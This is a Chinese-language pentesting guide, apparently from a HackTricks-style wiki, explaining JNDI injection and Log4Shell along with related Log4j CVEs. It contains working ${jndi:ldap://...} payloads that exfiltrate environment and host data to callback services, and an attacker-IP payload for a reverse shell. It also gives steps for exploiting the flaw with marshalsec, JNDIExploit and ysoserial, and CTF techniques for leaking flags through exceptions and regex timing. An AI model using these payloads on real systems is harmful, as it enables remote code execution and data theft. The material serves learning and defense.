JNDI - Java Naming and Directory Interface & Log4Shell
最后更新于
最后更新于
Try Hard Security Group
自上世纪90年代末集成到Java中的JNDI作为目录服务，使Java程序能够通过命名系统定位数据或对象。它通过服务提供者接口（SPIs）支持各种目录服务，允许从不同系统（包括远程Java对象）检索数据。常见的SPI包括CORBA COS、Java RMI Registry和LDAP。
Java对象可以使用JNDI命名引用存储和检索，有两种形式：
引用地址：指定对象的位置（例如，rmi://server/ref），允许直接从指定地址检索。
远程工厂：引用远程工厂类。访问时，该类将从远程位置下载并实例化。
然而，这种机制可能会被利用，潜在地导致加载和执行任意代码。作为对策：
RMI：从JDK 7u21起，默认为java.rmi.server.useCodeabseOnly = true，限制远程对象加载。安全管理器进一步限制可加载的内容。
LDAP：从JDK 6u141、7u131、8u121起，默认为com.sun.jndi.ldap.object.trustURLCodebase = false，阻止执行远程加载的Java对象。如果设置为true，则可以在没有安全管理器监督的情况下执行远程代码。
CORBA：没有特定属性，但安全管理器始终处于活动状态。
然而，负责解析JNDI链接的命名管理器缺乏内置安全机制，可能允许从任何来源检索对象。这会带来风险，因为可以绕过RMI、LDAP和CORBA保护，导致加载任意Java对象或利用现有应用程序组件（小工具）运行恶意代码。
可利用的URL示例包括：
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
尽管有保护措施，漏洞仍然存在，主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。
即使您已设置了**PROVIDER_URL**，您也可以在查找中指定不同的URL并访问：ctx.lookup("<attacker-controlled-url>")，这是攻击者将滥用以从由他控制的系统加载任意对象的方法。
CORBA（通用对象请求代理体系结构）使用**可互操作对象引用（IOR）**来唯一标识远程对象。此引用包括关键信息，如：
类型ID：接口的唯一标识符。
代码库：用于获取存根类的URL。
值得注意的是，CORBA本身并不易受攻击。确保安全通常涉及：
安装安全管理器。
配置安全管理器以允许连接到潜在恶意代码库。可以通过以下方式实现：
Socket权限，例如，permissions java.net.SocketPermission "*:1098-1099", "connect";。
文件读取权限，可以是全局的（permission java.io.FilePermission "<<ALL FILES>>", "read";）或针对可能放置恶意文件的特定目录。
然而，一些供应商政策可能宽松，允许默认情况下进行这些连接。
对于RMI（远程方法调用），情况略有不同。与CORBA一样，默认情况下限制了任意类的下载。要利用RMI，通常需要绕过安全管理器，这也适用于CORBA。
首先，我们需要区分搜索和查找。
搜索将使用类似ldap://localhost:389/o=JNDITutorial的URL来查找LDAP服务器中的JNDITutorial对象并检索其属性。
查找用于命名服务，因为我们想要获取绑定到名称的任何内容。
如果LDAP搜索使用了SearchControls.setReturningObjFlag()并设置为true，则返回的对象将被重建。
因此，有几种攻击这些选项的方法。 攻击者可以在LDAP记录中植入有效负载，这些有效负载将在收集它们的系统中执行（如果您可以访问LDAP服务器，则非常有用，可以危害数十台机器）。另一种利用方法是在LDAP搜索中执行中间人攻击，例如。
如果您可以让应用程序解析JNDI LDAP URL，则可以控制将被搜索的LDAP，并且可以发送回利用（log4shell）。
利用被序列化，将进行反序列化。
如果trustURLCodebase为true，攻击者可以在代码库中提供自己的类；如果不是，则需要在类路径中滥用小工具。
更容易攻击此LDAP使用JavaFactory引用：
该漏洞是由于Log4j支持一种特殊语法，形式为${prefix:name}，其中prefix是多种不同查找之一，name应该被评估。例如，${java:version}是当前运行的Java版本。
LOG4J2-313引入了jndi查找功能。此功能通过JNDI检索变量。通常，密钥会自动添加前缀java:comp/env/。但是，如果密钥本身包含**“:”**，则不会应用此默认前缀。
如果密钥中存在**“:”**，例如${jndi:ldap://example.com/a}，则没有前缀，LDAP服务器将查询对象。这些查找可以用于Log4j的配置以及记录行时。
因此，要实现RCE，只需有一个受用户控制的信息的易受攻击版本的Log4j。由于这是Java应用程序广泛使用的库，用于记录信息（包括面向互联网的应用程序），因此很常见使用log4j记录例如接收的HTTP标头，如User-Agent。但是，log4j不仅用于记录HTTP信息，还用于记录任何输入和开发人员指定的数据。
这个漏洞是log4j-core组件中的关键未受信任的反序列化漏洞，影响版本从2.0-beta9到2.14.1。它允许远程代码执行（RCE），使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告，并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。可用于防御的Sigma规则（规则1，规则2)。
最初评级较低，但后来升级为关键，这个CVE是由于对CVE-2021-44228在2.15.0中的修复不完整而导致的**拒绝服务（DoS）**漏洞。它影响非默认配置，允许攻击者通过精心制作的载荷发起DoS攻击。一条tweet展示了一种绕过方法。该问题在版本2.16.0和2.12.2中得到解决，方法是删除消息查找模式并默认禁用JNDI。
影响非默认配置中使用JMSAppender的Log4j 1.x版本，这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复程序，该分支已经终止生命周期，建议升级到log4j-core 2.17.0。
这个漏洞影响Logback日志框架，这是Log4j 1.x的后继者。此前被认为是安全的框架被发现存在漏洞，新版本（1.3.0-alpha11和1.2.9）已发布以解决此问题。
Log4j 2.16.0存在一个DoS漏洞，促使发布log4j 2.17.0来修复该CVE。更多详细信息请参阅BleepingComputer的报告。
影响log4j版本2.17，这个CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多详细信息请参阅Checkmarx博客文章。
如果未受保护，这个漏洞很容易被发现，因为它会向您在有效载荷中指定的地址发送至少一个DNS请求。因此，像以下这样的有效载荷：
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}（使用canarytokens.com）
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}（使用interactsh）
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}（使用Burp Suite）
${jndi:ldap://2j4ayo.dnslog.cn}（使用dnslog）
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}（使用huntress）
请注意，即使收到DNS请求，也不意味着应用程序是可利用的（甚至是有漏洞的），您需要尝试利用它。
请记住，要利用版本2.15，您需要添加本地主机检查绕过：${jndi:ldap://127.0.0.1#...}
搜索本地易受攻击版本的库：
之前列出的一些平台将允许您插入一些变量数据，当请求时将被记录。 这对两件事情非常有用：
验证漏洞
滥用漏洞窃取信息
例如，您可以请求类似于：
或者像${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}，如果收到带有环境变量值的DNS请求，则说明应用程序存在漏洞。
您可以尝试泄露的其他信息：
在 JDK 版本高于 6u141、7u131 或 8u121 的主机上，已经针对 LDAP 类加载攻击向量进行了保护。这是因为默认情况下禁用了 com.sun.jndi.ldap.object.trustURLCodebase，阻止了 JNDI 通过 LDAP 加载远程代码库。然而，需要注意的是这些版本仍然无法防御反序列化攻击向量。
对于试图利用这些较高 JDK 版本的攻击者来说，有必要利用 Java 应用程序中的受信任小工具。诸如 ysoserial 或 JNDIExploit 的工具经常用于此目的。相反，利用较低 JDK 版本相对较容易，因为这些版本可以被操纵以加载和执行任意类。
要了解更多信息（如 RMI 和 CORBA 向量的限制），请查看之前的 JNDI 命名参考部分或https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
您可以在 THM box 中测试此功能：https://tryhackme.com/room/solar
使用工具 marshalsec（jar 版本可在此处找到）。这种方法建立了一个 LDAP 引荐服务器，将连接重定向到一个次要的 HTTP 服务器，其中将托管利用程序：
为了促使目标加载一个反向 shell 代码，创建一个名为 Exploit.java 的 Java 文件，内容如下：
将Java文件编译为类文件使用：javac Exploit.java -source 8 -target 8。接下来，在包含类文件的目录中启动HTTP服务器：python3 -m http.server。确保marshalsec LDAP服务器引用了这个HTTP服务器。
通过发送类似以下负载的触发方式，触发对易受攻击的Web服务器上的exploit类的执行：
注意： 这个漏洞利用取决于Java的配置，允许通过LDAP加载远程代码库。如果这是不允许的，请考虑利用受信任的类来执行任意代码。
请注意，由于发现了log4shell，作者出于某种原因从github中删除了这个项目。您可以在https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2中找到缓存版本，但如果您想尊重作者的决定，请使用其他方法来利用此漏洞。
此外，您无法在wayback machine中找到源代码，因此要么分析源代码，要么执行jar文件，知道您不知道自己在执行什么。
例如，您可以在端口8080上运行此易受log4shell影响的Web服务器：https://github.com/christophetd/log4shell-vulnerable-app（在自述文件中，您将找到如何运行它的说明）。这个易受攻击的应用正在使用易受攻击版本的log4shell记录HTTP请求头_X-Api-Version_的内容。
然后，您可以下载JNDIExploit jar文件并执行以下操作：
阅读代码仅需几分钟，在_com.feihong.ldap.LdapServer_和_com.feihong.ldap.HTTPServer_中，您可以看到LDAP和HTTP服务器是如何创建的。LDAP服务器将了解需要提供的有效负载，并将受害者重定向到HTTP服务器，后者将提供利用。 在_com.feihong.ldap.gadgets_中，您可以找到一些特定的小工具，可用于执行所需的操作（潜在执行任意代码）。在_com.feihong.ldap.template_中，您可以看到将生成利用的不同模板类。
您可以使用**java -jar JNDIExploit-1.2-SNAPSHOT.jar -u**查看所有可用的利用。一些有用的利用包括：
因此，在我们的示例中，我们已经运行了那个存在漏洞的 Docker 应用程序。要对其发起攻击：
在发送攻击时，您将在执行JNDIExploit-1.2-SNAPSHOT.jar的终端中看到一些输出。
记得检查java -jar JNDIExploit-1.2-SNAPSHOT.jar -u以获取其他利用选项。此外，如果需要，您可以更改LDAP和HTTP服务器的端口。
类似于之前的利用方式，您可以尝试使用JNDI-Exploit-Kit来利用此漏洞。 您可以生成要发送给受害者的URL：
这种利用自定义生成的Java对象的攻击在像THM太阳房间这样的实验室中可以使用。然而，这通常不起作用（因为默认情况下Java未配置为使用LDAP加载远程代码库），我认为这是因为它没有滥用受信任的类来执行任意代码。
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus 是另一个用于生成可用的JNDI链接并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务的工具。\
这个选项对于攻击仅信任指定类而不是所有人的Java版本非常有用。因此，ysoserial将被用来生成受信任类的序列化，这些序列化可以用作执行任意代码的小工具（ysoserial滥用的受信任类必须被受害者Java程序使用，以使利用生效）。
使用ysoserial或ysoserial-modified，您可以创建将被JNDI下载的反序列化利用程序：
使用JNDI-Exploit-Kit生成JNDI链接，在那里漏洞将等待来自受影响机器的连接。您可以提供由JNDI-Exploit-Kit自动生成的不同的漏洞利用，甚至是您自己生成的反序列化有效负载（由您或ysoserial生成）。
现在您可以轻松使用生成的JNDI链接来利用漏洞并获取反向shell，只需发送到一个易受攻击的log4j版本：${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - 查找本地易受攻击的库
在这个CTF writeup中很好地解释了如何滥用Log4J的一些功能。
Log4j的安全页面中有一些有趣的句子：
从版本2.16.0（适用于Java 8）开始，消息查找功能已完全移除。配置中的查找仍然有效。此外，Log4j现在默认禁用对JNDI的访问。配置中的JNDI查找现在需要显式启用。
从版本2.17.0开始（对于Java 7和Java 6分别为2.12.3和2.3.1），只有配置中的查找字符串会被递归展开；在任何其他用途中，只有顶层查找会被解析，任何嵌套查找都不会被解析。
这意味着默认情况下，您可以忘记使用任何jndi漏洞。此外，要执行递归查找，您需要配置它们。
例如，在该CTF中，文件log4j2.xml中配置了以下内容：
在这个CTF中，攻击者控制了${sys:cmd}的值，并需要从环境变量中窃取标志。
如在之前的有效载荷页面中所见，有不同的方式可以访问环境变量，比如：${env:FLAG}。在这个CTF中这是无用的，但在其他现实场景中可能会有用。
在CTF中，你无法访问java应用程序的stderr，但Log4J的异常会发送到stdout，并在python应用程序中打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是：${java:${env:FLAG}}。这能够工作是因为**${java:CTF{blahblah}}**不存在，异常将显示标志的值：
仅提一下，你也可以注入新的转换模式并触发将被记录到stdout的异常。例如：
这并没有发现有用于在错误消息中窃取日期，因为查找在转换模式之前没有解决，但它可能对其他事情有用，比如检测。
然而，可以使用一些支持正则表达式的转换模式来通过使用正则表达式和滥用二分查找或基于时间的行为从查找中窃取信息。
通过异常消息进行二分查找
转换模式**%replace可以用于替换字符串中的内容**，甚至使用正则表达式。它的工作方式如下：replace{pattern}{regex}{substitution}
滥用这种行为，你可以使替换在正则表达式匹配到任何字符串内的内容时触发异常（如果未找到则不会触发异常），如下所示：
基于时间的攻击
正如前一节中提到的，%replace 支持 正则表达式。因此，可以使用来自ReDoS页面的有效载荷来引发超时，以便在找到标志时触发超时。
例如，像 %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} 这样的有效载荷将在那个CTF比赛中触发超时。
在这个writeup中，它使用了一种放大攻击来导致响应中的时间差异：
如果标志以
flagGuess开头，则整个标志将被替换为 29 个#（我使用这个字符是因为它可能不是标志的一部分）。然后，每个生成的 29 个#将被替换为 54 个#。这个过程重复进行 6 次，总共产生了29*54*54^6* =`` ``96816014208个#！替换这么多
#将触发 Flask 应用程序的 10 秒超时，从而导致向用户发送 HTTP 状态码 500。（如果标志不以flagGuess开头，我们将收到非 500 状态码）
Try Hard Security Group
